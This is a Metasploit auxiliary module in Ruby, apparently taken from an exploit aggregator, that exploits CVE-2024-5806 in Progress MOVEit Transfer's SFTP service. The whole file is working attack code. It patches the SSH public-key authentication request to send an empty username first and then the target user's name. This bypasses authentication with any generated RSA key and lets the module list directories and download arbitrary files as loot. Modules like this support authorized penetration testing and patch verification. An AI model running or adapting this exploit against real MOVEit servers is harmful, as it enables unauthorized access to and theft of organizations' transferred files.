## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-PROGRESS_MOVEIT_SFTP_FILEREAD_CVE_2024_5806-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh/transport/session'
require 'net/sftp'
require 'openssl'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read',
'Description' => %q{
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The
following version are affected:
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing
the contents of a directory, and the reading of an arbitrary file.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7' # MSF Module & Rapid7 Analysis
],
'References' => [
['CVE', '2024-5806'],
['URL', 'https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis'] # AttackerKB Rapid7 Analysis.
],
'DisclosureDate' => '2024-06-25',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RHOST,
Opt::RPORT(22),
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),
OptString.new('TARGETUSER', [true, 'A valid username to authenticate as.', nil]),
OptString.new('TARGETFILE', [true, 'The full path of a target file or directory to read.', '/']),
Opt::Proxies
]
)
end
# This method will be used by net/ssh when creating a new TCP socket. We need this so the net/ssh library will
# honor Metasploit's network pivots, and route a connection through the expected session if applicable.
def open(host, port, _connection_options = nil)
vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...")
Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'Proxies' => datastore['Proxies'],
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
end
def check
# Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)
# service and we pull out the servers version string.
transport = ::Net::SSH::Transport::Session.new(
datastore['RHOST'],
{
port: datastore['RPORT'],
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
proxy: self
}
)
ident = transport.server_version.version
# We test the SSH version string for a known value of MOVEit SFTP.
return Msf::Exploit::CheckCode::Safe(ident) unless ident == 'SSH-2.0-MOVEit Transfer SFTP'
# We cannot get a product version number, so the best we can do is return Detected.
Msf::Exploit::CheckCode::Detected(ident)
rescue ::Rex::ConnectionRefused
Msf::Exploit::CheckCode::Unknown('Connection Refused')
rescue ::Rex::HostUnreachable
Msf::Exploit::CheckCode::Unknown('Host Unreachable')
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout
Msf::Exploit::CheckCode::Unknown('Connection Timeout')
end
def run
# We want to change the behaviour of the build_request method. So first we alias the original build_request
# method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request)
# Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon
# the initial publickey auth request, then when sending the signature response to the server, we provide the username
# of the valid user account we want to authenticate as.
::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig|
orig_build_request(pub_key, has_sig ? username : '', next_service, alg, has_sig)
end
print_status("Authenticating as: #{datastore['TARGETUSER']}@#{datastore['RHOST']}:#{datastore['RPORT']}")
# With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get
# back a valid SFTP session which we can interact with.
::Net::SFTP.start(
datastore['RHOST'],
datastore['TARGETUSER'],
{
port: datastore['RPORT'],
auth_methods: ['publickey'],
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new
# key (in PEM format) every time we exploit the vulnerability.
key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
proxy: self
}
) do |sftp|
if File.directory? datastore['TARGETFILE']
print_status("Listing directory: #{datastore['TARGETFILE']}")
sftp.dir.glob(datastore['TARGETFILE'], '**/*') do |entry|
# When we print the entry, we want to print the full path for each entry, so that further use of this module
# can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with
# permission, sizes and timestamps) a file/dir name but no path information. As we are using glob to
# recursively list the contents of all sub folders, we reconstitute the full path for every entry before
# printing it.
entry_full_path = File.join(datastore['TARGETFILE'], entry.name)
print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path))
end
else
print_status("Downloading file: #{datastore['TARGETFILE']}")
read_file(sftp, datastore['TARGETFILE'])
end
end
rescue ::Net::SFTP::StatusException
print_error('SFTP Status Exception.')
rescue ::Net::SSH::AuthenticationFailed
print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?')
rescue ::Rex::ConnectionRefused
print_error('SFTP Connection Refused.')
rescue ::Rex::HostUnreachable
print_error('SFTP Host Unreachable.')
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout
print_error('SFTP Connection Timeout.')
ensure
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)
end
def read_file(sftp, file_path)
sftp.open!(file_path) do |open_response|
unless open_response.ok?
print_error('SFTP open failed. Is the TARGETFILE path correct?')
break
end
file_size = sftp.fstat!(open_response[:handle]).size
sftp.read!(open_response[:handle], 0, file_size) do |read_response|
unless read_response.ok?
print_error('SFTP read failed.')
break
end
file_data = read_response[:data].to_s
if datastore['STORE_LOOT']
print_status('Storing the file data to loot...')
store_loot(
file_path,
file_data.ascii_only? ? 'text/plain' : 'application/octet-stream',
datastore['RHOST'],
file_data,
datastore['TARGETFILE'],
'File read from Progress MOVEit SFTP server'
)
else
print_line(file_data)
end
end
ensure
sftp.close!(open_response[:handle]) if open_response.ok?
end
end
end